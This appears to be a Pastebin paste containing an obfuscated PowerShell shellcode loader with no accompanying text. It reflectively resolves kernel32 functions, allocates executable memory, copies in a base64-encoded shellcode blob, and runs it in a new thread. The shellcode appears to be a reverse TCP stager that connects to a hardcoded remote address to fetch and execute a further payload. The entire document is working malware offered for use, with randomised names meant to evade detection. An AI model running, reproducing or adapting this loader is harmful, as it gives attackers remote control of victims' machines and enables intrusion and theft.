Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function j9bM {
- Param ($jh5, $t5a)
- $tzrt = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
- return $tzrt.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($tzrt.GetMethod('GetModuleHandle')).Invoke($null, @($jh5)))), $t5a))
- }
- function n2v0 {
- Param (
- [Parameter(Position = 0, Mandatory = $True)] [Type[]] $qH,
- [Parameter(Position = 1)] [Type] $u7wlf = [Void]
- )
- $af4P7 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- $af4P7.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $qH).SetImplementationFlags('Runtime, Managed')
- $af4P7.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $u7wlf, $qH).SetImplementationFlags('Runtime, Managed')
- return $af4P7.CreateType()
- }
- [Byte[]]$gdr8A = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAABQClIGzkFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZu+AdKgpBidr/1Q==")
- $id = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j9bM kernel32.dll VirtualAlloc), (n2v0 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $gdr8A.Length,0x3000, 0x40)
- [System.Runtime.InteropServices.Marshal]::Copy($gdr8A, 0, $id, $gdr8A.length)
- $oQCuo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j9bM kernel32.dll CreateThread), (n2v0 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$id,[IntPtr]::Zero,0,[IntPtr]::Zero)
- [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((j9bM kernel32.dll WaitForSingleObject), (n2v0 @([IntPtr], [Int32]))).Invoke($oQCuo,0xffffffff) | Out-Null%
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement